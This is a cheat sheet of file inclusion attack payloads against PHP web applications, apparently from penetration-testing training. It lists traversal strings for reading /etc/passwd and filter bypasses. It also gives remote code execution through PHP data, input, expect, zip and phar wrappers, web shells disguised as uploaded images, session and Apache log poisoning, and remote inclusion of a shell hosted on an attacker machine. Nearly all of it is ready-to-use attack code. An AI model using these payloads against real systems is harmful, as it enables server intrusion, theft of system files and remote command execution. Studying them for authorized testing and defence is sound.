File Inclusion Cheat Sheet
Local File Inclusion (LFI)
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Basic LFI:
/index.php?language=/etc/passwd
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LFI with path traversal:
/index.php?language=../../../../etc/passwd
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LFI with name prefix:
/index.php?language=/../../../etc/passwd
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LFI with approved path:
/index.php?language=./languages/../../../../etc/passwd
LFI Bypasses
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Bypass basic path traversal filter:
/index.php?language=....//....//....//....//etc/passwd
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Bypass filters with URL encoding:
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
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Bypass appended extension with path truncation (obsolete):
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
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Bypass appended extension with null byte (obsolete):
/index.php?language=../../../../etc/passwd%00
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Read PHP with base64 filter:
/index.php?language=php://filter/read=convert.base64-encode/resource=config
Remote Code Execution (RCE)
PHP Wrappers
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RCE with data wrapper:
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
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RCE with input wrapper:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"
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RCE with expect wrapper:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
RFI
-
Host web shell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>
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Include remote PHP web shell:
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
LFI + Upload
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Create malicious image:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
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RCE with malicious uploaded image:
/index.php?language=./profile_images/shell.gif&cmd=id
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Create malicious zip archive as jpg:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
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RCE with malicious uploaded zip:
/index.php?language=zip://shell.zip%23shell.php&cmd=id
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Create malicious phar as jpg:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
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RCE with malicious uploaded phar:
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
Log Poisoning
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Read PHP session parameters:
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
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Poison PHP session with web shell:
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
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RCE through poisoned PHP session:
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
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Poison server log:
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'
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RCE through poisoned server log:
/index.php?language=/var/log/apache2/access.log&cmd=id
Misc
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Fuzz page parameters:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
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Fuzz LFI payloads:
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
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Fuzz webroot path:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
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Fuzz server configurations:
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
LFI Wordlists
- LFI-Jhaddix.txt
- Webroot path wordlist for Linux
- Webroot path wordlist for Windows
- Server configurations wordlist for Linux
- Server configurations wordlist for Windows
File Inclusion Functions
- PHP
include()/include_once()
: Read Content: Yes, Execute: Yes, Remote URL: Yes - PHP
require()/require_once()
: Read Content: Yes, Execute: Yes, Remote URL: No - PHP
file_get_contents()
: Read Content: Yes, Execute: No, Remote URL: Yes - PHP
fopen()/file()
: Read Content: Yes, Execute: No, Remote URL: No - NodeJS
fs.readFile()
: Read Content: Yes, Execute: No, Remote URL: No - NodeJS
fs.sendFile()
: Read Content: Yes, Execute: No, Remote URL: No - NodeJS
res.render()
: Read Content: Yes, Execute: Yes, Remote URL: No - Java
include
: Read Content: Yes, Execute: No, Remote URL: No - Java
import
: Read Content: Yes, Execute: Yes, Remote URL: Yes - .NET
@Html.Partial()
: Read Content: Yes, Execute: No, Remote URL: No - .NET
@Html.RemotePartial()
: Read Content: Yes, Execute: No, Remote URL: Yes - .NET
Response.WriteFile()
: Read Content: Yes, Execute: No, Remote URL: No - .NET
include
: Read Content: Yes, Execute: Yes, Remote URL: Yes